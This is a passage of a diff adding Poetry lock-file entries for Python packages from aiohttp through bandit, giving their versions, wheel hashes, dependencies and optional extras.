hash = "sha256:f2800614cd560287be05e33a679638e586a2d7401f4ddf99e304d98878c29444"}, + {file = "aiohttp-3.12.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8466151554b593909d30a0a125d638b4e5f3836e5aecde85b66b80ded1cb5b0d"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e5a495cb1be69dae4b08f35a6c4579c539e9b5706f606632102c0f855bcba7c"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6404dfc8cdde35c69aaa489bb3542fb86ef215fc70277c892be8af540e5e21c0"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3ead1c00f8521a5c9070fcb88f02967b1d8a0544e6d85c253f6968b785e1a2ab"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6990ef617f14450bc6b34941dba4f12d5613cbf4e33805932f853fbd1cf18bfb"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd736ed420f4db2b8148b52b46b88ed038d0354255f9a73196b7bbce3ea97545"}, + {file = "aiohttp-3.12.15-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c5092ce14361a73086b90c6efb3948ffa5be2f5b6fbcf52e8d8c8b8848bb97c"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:aaa2234bb60c4dbf82893e934d8ee8dea30446f0647e024074237a56a08c01bd"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6d86a2fbdd14192e2f234a92d3b494dd4457e683ba07e5905a0b3ee25389ac9f"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a041e7e2612041a6ddf1c6a33b883be6a421247c7afd47e885969ee4cc58bd8d"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5015082477abeafad7203757ae44299a610e89ee82a1503e3d4184e6bafdd519"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:56822ff5ddfd1b745534e658faba944012346184fbfe732e0d6134b744516eea"}, + {file = "aiohttp-3.12.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b2acbbfff69019d9014508c4ba0401822e8bae5a5fdc3b6814285b71231b60f3"}, + {file = "aiohttp-3.12.15-cp312-cp312-win32.whl", hash = "sha256:d849b0901b50f2185874b9a232f38e26b9b3d4810095a7572eacea939132d4e1"}, + {file = "aiohttp-3.12.15-cp312-cp312-win_amd64.whl", hash = "sha256:b390ef5f62bb508a9d67cb3bba9b8356e23b3996da7062f1a57ce1a79d2b3d34"}, + {file = "aiohttp-3.12.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9f922ffd05034d439dde1c77a20461cf4a1b0831e6caa26151fe7aa8aaebc315"}, + {file = "aiohttp-3.12.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2ee8a8ac39ce45f3e55663891d4b1d15598c157b4d494a4613e704c8b43112cd"}, + {file = "aiohttp-3.12.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3eae49032c29d356b94eee45a3f39fdf4b0814b397638c2f718e96cfadf4c4e4"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b97752ff12cc12f46a9b20327104448042fce5c33a624f88c18f66f9368091c7"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:894261472691d6fe76ebb7fcf2e5870a2ac284c7406ddc95823c8598a1390f0d"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5fa5d9eb82ce98959fc1031c28198b431b4d9396894f385cb63f1e2f3f20ca6b"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f0fa751efb11a541f57db59c1dd821bec09031e01452b2b6217319b3a1f34f3d"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5346b93e62ab51ee2a9d68e8f73c7cf96ffb73568a23e683f931e52450e4148d"}, + {file = "aiohttp-3.12.15-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:049ec0360f939cd164ecbfd2873eaa432613d5e77d6b04535e3d1fbae5a9e645"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b52dcf013b57464b6d1e51b627adfd69a8053e84b7103a7cd49c030f9ca44461"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:9b2af240143dd2765e0fb661fd0361a1b469cab235039ea57663cda087250ea9"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ac77f709a2cde2cc71257ab2d8c74dd157c67a0558a0d2799d5d571b4c63d44d"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:47f6b962246f0a774fbd3b6b7be25d59b06fdb2f164cf2513097998fc6a29693"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:760fb7db442f284996e39cf9915a94492e1896baac44f06ae551974907922b64"}, + {file = "aiohttp-3.12.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ad702e57dc385cae679c39d318def49aef754455f237499d5b99bea4ef582e51"}, + {file = "aiohttp-3.12.15-cp313-cp313-win32.whl", hash = "sha256:f813c3e9032331024de2eb2e32a88d86afb69291fbc37a3a3ae81cc9917fb3d0"}, + {file = "aiohttp-3.12.15-cp313-cp313-win_amd64.whl", hash = "sha256:1a649001580bdb37c6fdb1bebbd7e3bc688e8ec2b5c6f52edbb664662b17dc84"}, + {file = "aiohttp-3.12.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:691d203c2bdf4f4637792efbbcdcd157ae11e55eaeb5e9c360c1206fb03d4d98"}, + {file = "aiohttp-3.12.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8e995e1abc4ed2a454c731385bf4082be06f875822adc4c6d9eaadf96e20d406"}, + {file = "aiohttp-3.12.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bd44d5936ab3193c617bfd6c9a7d8d1085a8dc8c3f44d5f1dcf554d17d04cf7d"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46749be6e89cd78d6068cdf7da51dbcfa4321147ab8e4116ee6678d9a056a0cf"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0c643f4d75adea39e92c0f01b3fb83d57abdec8c9279b3078b68a3a52b3933b6"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0a23918fedc05806966a2438489dcffccbdf83e921a1170773b6178d04ade142"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:74bdd8c864b36c3673741023343565d95bfbd778ffe1eb4d412c135a28a8dc89"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a146708808c9b7a988a4af3821379e379e0f0e5e466ca31a73dbdd0325b0263"}, + {file = "aiohttp-3.12.15-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b7011a70b56facde58d6d26da4fec3280cc8e2a78c714c96b7a01a87930a9530"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3bdd6e17e16e1dbd3db74d7f989e8af29c4d2e025f9828e6ef45fbdee158ec75"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:57d16590a351dfc914670bd72530fd78344b885a00b250e992faea565b7fdc05"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:bc9a0f6569ff990e0bbd75506c8d8fe7214c8f6579cca32f0546e54372a3bb54"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:536ad7234747a37e50e7b6794ea868833d5220b49c92806ae2d7e8a9d6b5de02"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f0adb4177fa748072546fb650d9bd7398caaf0e15b370ed3317280b13f4083b0"}, + {file = "aiohttp-3.12.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:14954a2988feae3987f1eb49c706bff39947605f4b6fa4027c1d75743723eb09"}, + {file = "aiohttp-3.12.15-cp39-cp39-win32.whl", hash = "sha256:b784d6ed757f27574dca1c336f968f4e81130b27595e458e69457e6878251f5d"}, + {file = "aiohttp-3.12.15-cp39-cp39-win_amd64.whl", hash = "sha256:86ceded4e78a992f835209e236617bffae649371c4a50d5e5a3987f237db84b8"}, + {file = "aiohttp-3.12.15.tar.gz", hash = "sha256:4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2"}, +] + +[package.dependencies] +aiohappyeyeballs = ">=2.5.0" +aiosignal = ">=1.4.0" +attrs = ">=17.3.0" +frozenlist = ">=1.1.1" +multidict = ">=4.5,<7.0" +propcache = ">=0.2.0" +yarl = ">=1.17.0,<2.0" + +[package.extras] +speedups = ["Brotli", "aiodns (>=3.3.0)", "brotlicffi"] + +[[package]] +name = "aiosignal" +version = "1.4.0" +description = "aiosignal: a list of registered asynchronous callbacks" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "aiosignal-1.4.0-py3-none-any.whl", hash = "sha256:053243f8b92b990551949e63930a839ff0cf0b0ebbe0597b0f3fb19e1a0fe82e"}, + {file = "aiosignal-1.4.0.tar.gz", hash = "sha256:f47eecd9468083c2029cc99945502cb7708b082c232f9aca65da147157b251c7"}, +] + +[package.dependencies] +frozenlist = ">=1.1.0" +typing-extensions = {version = ">=4.2", markers = "python_version < \"3.13\""} + +[[package]] +name = "alabaster" +version = "1.0.0" +description = "A light, configurable Sphinx theme" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "alabaster-1.0.0-py3-none-any.whl", hash = "sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b"}, + {file = "alabaster-1.0.0.tar.gz", hash = "sha256:c00dca57bca26fa62a6d7d0a9fcce65f3e026e9bfe33e9c538fd3fbb2144fd9e"}, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +description = "Reusable constraint types to use with typing.Annotated" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, + {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, +] + +[[package]] +name = "anyio" +version = "4.10.0" +description = "High-level concurrency and networking framework on top of asyncio or Trio" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "anyio-4.10.0-py3-none-any.whl", hash = "sha256:60e474ac86736bbfd6f210f7a61218939c318f43f9972497381f1c5e930ed3d1"}, + {file = "anyio-4.10.0.tar.gz", hash = "sha256:3f3fae35c96039744587aa5b8371e7e8e603c0702999535961dd336026973ba6"}, +] + +[package.dependencies] +idna = ">=2.8" +sniffio = ">=1.1" +typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} + +[package.extras] +trio = ["trio (>=0.26.1)"] + +[[package]] +name = "apscheduler" +version = "3.11.0" +description = "In-process task scheduler with Cron-like capabilities" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "APScheduler-3.11.0-py3-none-any.whl", hash = "sha256:fc134ca32e50f5eadcc4938e3a4545ab19131435e851abb40b34d63d5141c6da"}, + {file = "apscheduler-3.11.0.tar.gz", hash = "sha256:4c622d250b0955a65d5d0eb91c33e6d43fd879834bf541e0a18661ae60460133"}, +] + +[package.dependencies] +tzlocal = ">=3.0" + +[package.extras] +doc = ["packaging", "sphinx", "sphinx-rtd-theme (>=1.3.0)"] +etcd = ["etcd3", "protobuf (<=3.21.0)"] +gevent = ["gevent"] +mongodb = ["pymongo (>=3.0)"] +redis = ["redis (>=3.0)"] +rethinkdb = ["rethinkdb (>=2.4.0)"] +sqlalchemy = ["sqlalchemy (>=1.4)"] +test = ["APScheduler[etcd,mongodb,redis,rethinkdb,sqlalchemy,tornado,zookeeper]", "PySide6", "anyio (>=4.5.2)", "gevent", "pytest", "pytz", "twisted"] +tornado = ["tornado (>=4.3)"] +twisted = ["twisted"] +zookeeper = ["kazoo"] + +[[package]] +name = "astroid" +version = "3.3.11" +description = "An abstract syntax tree for Python with inference support." +optional = false +python-versions = ">=3.9.0" +groups = ["dev"] +files = [ + {file = "astroid-3.3.11-py3-none-any.whl", hash = "sha256:54c760ae8322ece1abd213057c4b5bba7c49818853fc901ef09719a60dbf9dec"}, + {file = "astroid-3.3.11.tar.gz", hash = "sha256:1e5a5011af2920c7c67a53f65d536d65bfa7116feeaf2354d8b94f29573bb0ce"}, +] + +[[package]] +name = "asttokens" +version = "3.0.0" +description = "Annotate AST trees with source code positions" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "asttokens-3.0.0-py3-none-any.whl", hash = "sha256:e3078351a059199dd5138cb1c706e6430c05eff2ff136af5eb4790f9d28932e2"}, + {file = "asttokens-3.0.0.tar.gz", hash = "sha256:0dcd8baa8d62b0c1d118b399b2ddba3c4aff271d0d7a9e0d4c1681c79035bbc7"}, +] + +[package.extras] +astroid = ["astroid (>=2,<4)"] +test = ["astroid (>=2,<4)", "pytest", "pytest-cov", "pytest-xdist"] + +[[package]] +name = "attrs" +version = "25.3.0" +description = "Classes Without Boilerplate" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "attrs-25.3.0-py3-none-any.whl", hash = "sha256:427318ce031701fea540783410126f03899a97ffc6f61596ad581ac2e40e3bc3"}, + {file = "attrs-25.3.0.tar.gz", hash = "sha256:75d7cefc7fb576747b2c81b4442d4d4a1ce0900973527c011d1030fd3bf4af1b"}, +] + +[package.extras] +benchmark = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-codspeed", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +cov = ["cloudpickle", "coverage[toml] (>=5.3)", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +dev = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pre-commit-uv", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +docs = ["cogapp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier"] +tests = ["cloudpickle", "hypothesis", "mypy (>=1.11.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"] +tests-mypy = ["mypy (>=1.11.1)", "pytest-mypy-plugins"] + +[[package]] +name = "audioop-lts" +version = "0.2.2" +description = "LTS Port of Python audioop" +optional = false +python-versions = ">=3.13" +groups = ["main"] +markers = "python_version >= \"3.13\"" +files = [ + {file = "audioop_lts-0.2.2-cp313-abi3-macosx_10_13_universal2.whl", hash = "sha256:fd3d4602dc64914d462924a08c1a9816435a2155d74f325853c1f1ac3b2d9800"}, + {file = "audioop_lts-0.2.2-cp313-abi3-macosx_10_13_x86_64.whl", hash = "sha256:550c114a8df0aafe9a05442a1162dfc8fec37e9af1d625ae6060fed6e756f303"}, + {file = "audioop_lts-0.2.2-cp313-abi3-macosx_11_0_arm64.whl", hash = "sha256:9a13dc409f2564de15dd68be65b462ba0dde01b19663720c68c1140c782d1d75"}, + {file = "audioop_lts-0.2.2-cp313-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:51c916108c56aa6e426ce611946f901badac950ee2ddaf302b7ed35d9958970d"}, + {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:47eba38322370347b1c47024defbd36374a211e8dd5b0dcbce7b34fdb6f8847b"}, + {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba7c3a7e5f23e215cb271516197030c32aef2e754252c4c70a50aaff7031a2c8"}, + {file = "audioop_lts-0.2.2-cp313-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:def246fe9e180626731b26e89816e79aae2276f825420a07b4a647abaa84becc"}, + {file = "audioop_lts-0.2.2-cp313-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e160bf9df356d841bb6c180eeeea1834085464626dc1b68fa4e1d59070affdc3"}, + {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4b4cd51a57b698b2d06cb9993b7ac8dfe89a3b2878e96bc7948e9f19ff51dba6"}, + {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4a53aa7c16a60a6857e6b0b165261436396ef7293f8b5c9c828a3a203147ed4a"}, + {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:3fc38008969796f0f689f1453722a0f463da1b8a6fbee11987830bfbb664f623"}, + {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_s390x.whl", hash = "sha256:15ab25dd3e620790f40e9ead897f91e79c0d3ce65fe193c8ed6c26cffdd24be7"}, + {file = "audioop_lts-0.2.2-cp313-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:03f061a1915538fd96272bac9551841859dbb2e3bf73ebe4a23ef043766f5449"}, + {file = "audioop_lts-0.2.2-cp313-abi3-win32.whl", hash = "sha256:3bcddaaf6cc5935a300a8387c99f7a7fbbe212a11568ec6cf6e4bc458c048636"}, + {file = "audioop_lts-0.2.2-cp313-abi3-win_amd64.whl", hash = "sha256:a2c2a947fae7d1062ef08c4e369e0ba2086049a5e598fda41122535557012e9e"}, + {file = "audioop_lts-0.2.2-cp313-abi3-win_arm64.whl", hash = "sha256:5f93a5db13927a37d2d09637ccca4b2b6b48c19cd9eda7b17a2e9f77edee6a6f"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:73f80bf4cd5d2ca7814da30a120de1f9408ee0619cc75da87d0641273d202a09"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:106753a83a25ee4d6f473f2be6b0966fc1c9af7e0017192f5531a3e7463dce58"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fbdd522624141e40948ab3e8cdae6e04c748d78710e9f0f8d4dae2750831de19"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:143fad0311e8209ece30a8dbddab3b65ab419cbe8c0dde6e8828da25999be911"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfbbc74ec68a0fd08cfec1f4b5e8cca3d3cd7de5501b01c4b5d209995033cde9"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cfcac6aa6f42397471e4943e0feb2244549db5c5d01efcd02725b96af417f3fe"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:752d76472d9804ac60f0078c79cdae8b956f293177acd2316cd1e15149aee132"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:83c381767e2cc10e93e40281a04852facc4cd9334550e0f392f72d1c0a9c5753"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c0022283e9556e0f3643b7c3c03f05063ca72b3063291834cca43234f20c60bb"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a2d4f1513d63c795e82948e1305f31a6d530626e5f9f2605408b300ae6095093"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:c9c8e68d8b4a56fda8c025e538e639f8c5953f5073886b596c93ec9b620055e7"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:96f19de485a2925314f5020e85911fb447ff5fbef56e8c7c6927851b95533a1c"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e541c3ef484852ef36545f66209444c48b28661e864ccadb29daddb6a4b8e5f5"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-win32.whl", hash = "sha256:d5e73fa573e273e4f2e5ff96f9043858a5e9311e94ffefd88a3186a910c70917"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:9191d68659eda01e448188f60364c7763a7ca6653ed3f87ebb165822153a8547"}, + {file = "audioop_lts-0.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:c174e322bb5783c099aaf87faeb240c8d210686b04bd61dfd05a8e5a83d88969"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:f9ee9b52f5f857fbaf9d605a360884f034c92c1c23021fb90b2e39b8e64bede6"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:49ee1a41738a23e98d98b937a0638357a2477bc99e61b0f768a8f654f45d9b7a"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5b00be98ccd0fc123dcfad31d50030d25fcf31488cde9e61692029cd7394733b"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6d2e0f9f7a69403e388894d4ca5ada5c47230716a03f2847cfc7bd1ecb589d6"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f9b0b8a03ef474f56d1a842af1a2e01398b8f7654009823c6d9e0ecff4d5cfbf"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b267b70747d82125f1a021506565bdc5609a2b24bcb4773c16d79d2bb260bbd"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0337d658f9b81f4cd0fdb1f47635070cc084871a3d4646d9de74fdf4e7c3d24a"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:167d3b62586faef8b6b2275c3218796b12621a60e43f7e9d5845d627b9c9b80e"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0d9385e96f9f6da847f4d571ce3cb15b5091140edf3db97276872647ce37efd7"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:48159d96962674eccdca9a3df280e864e8ac75e40a577cc97c5c42667ffabfc5"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8fefe5868cd082db1186f2837d64cfbfa78b548ea0d0543e9b28935ccce81ce9"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:58cf54380c3884fb49fdd37dfb7a772632b6701d28edd3e2904743c5e1773602"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:088327f00488cdeed296edd9215ca159f3a5a5034741465789cad403fcf4bec0"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-win32.whl", hash = "sha256:068aa17a38b4e0e7de771c62c60bbca2455924b67a8814f3b0dee92b5820c0b3"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:a5bf613e96f49712073de86f20dbdd4014ca18efd4d34ed18c75bd808337851b"}, + {file = "audioop_lts-0.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:b492c3b040153e68b9fdaff5913305aaaba5bb433d8a7f73d5cf6a64ed3cc1dd"}, + {file = "audioop_lts-0.2.2.tar.gz", hash = "sha256:64d0c62d88e67b98a1a5e71987b7aa7b5bcffc7dcee65b635823dbdd0a8dbbd0"}, +] + +[[package]] +name = "azure-core" +version = "1.35.0" +description = "Microsoft Azure Core Library for Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "azure_core-1.35.0-py3-none-any.whl", hash = "sha256:8db78c72868a58f3de8991eb4d22c4d368fae226dac1002998d6c50437e7dad1"}, + {file = "azure_core-1.35.0.tar.gz", hash = "sha256:c0be528489485e9ede59b6971eb63c1eaacf83ef53001bfe3904e475e972be5c"}, +] + +[package.dependencies] +requests = ">=2.21.0" +six = ">=1.11.0" +typing-extensions = ">=4.6.0" + +[package.extras] +aio = ["aiohttp (>=3.0)"] +tracing = ["opentelemetry-api (>=1.26,<2.0)"] + +[[package]] +name = "azure-identity" +version = "1.24.0" +description = "Microsoft Azure Identity Library for Python" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "azure_identity-1.24.0-py3-none-any.whl", hash = "sha256:9e04997cde0ab02ed66422c74748548e620b7b29361c72ce622acab0267ff7c4"}, + {file = "azure_identity-1.24.0.tar.gz", hash = "sha256:6c3a40b2a70af831e920b89e6421e8dcd4af78a0cb38b9642d86c67643d4930c"}, +] + +[package.dependencies] +azure-core = ">=1.31.0" +cryptography = ">=2.5" +msal = ">=1.30.0" +msal-extensions = ">=1.2.0" +typing-extensions = ">=4.0.0" + +[[package]] +name = "azure-storage-blob" +version = "12.26.0" +description = "Microsoft Azure Blob Storage Client Library for Python" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "azure_storage_blob-12.26.0-py3-none-any.whl", hash = "sha256:8c5631b8b22b4f53ec5fff2f3bededf34cfef111e2af613ad42c9e6de00a77fe"}, + {file = "azure_storage_blob-12.26.0.tar.gz", hash = "sha256:5dd7d7824224f7de00bfeb032753601c982655173061e242f13be6e26d78d71f"}, +] + +[package.dependencies] +azure-core = ">=1.30.0" +cryptography = ">=2.1.4" +isodate = ">=0.6.1" +typing-extensions = ">=4.6.0" + +[package.extras] +aio = ["azure-core[aio] (>=1.30.0)"] + +[[package]] +name = "babel" +version = "2.17.0" +description = "Internationalization utilities" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "babel-2.17.0-py3-none-any.whl", hash = "sha256:4d0b53093fdfb4b21c92b5213dba5a1b23885afa8383709427046b21c366e5f2"}, + {file = "babel-2.17.0.tar.gz", hash = "sha256:0c54cffb19f690cdcc52a3b50bcbf71e07a808d1c80d549f2459b9d2cf0afb9d"}, +] + +[package.extras] +dev = ["backports.zoneinfo", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata"] + +[[package]] +name = "backoff" +version = "2.2.1" +description = "Function decoration for backoff and retry" +optional = false +python-versions = ">=3.7,<4.0" +groups = ["main"] +files = [ + {file = "backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8"}, + {file = "backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba"}, +] + +[[package]] +name = "bandit" +version = "1.8.6" +description = "Security oriented static analyser for python code." +optional = false +python-versions = ">=3.9" +groups = ["dev"] +files = [ + {file = "bandit-1.8.6-py3-none-any.whl", hash = "sha256:3348e934d736fcdb68b6aa4030487097e23a501adf3e7827b63658df464dddd0"}, + {file = "bandit-1.8.6.tar.gz", hash = "sha256:dbfe9c25fc6961c2078593de55fd19f2559f9e45b99f1272341f5b95dea4e56b"}, +] + +[package.dependencies] +colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""} +PyYAML = ">=5.3.1" +rich = "*" 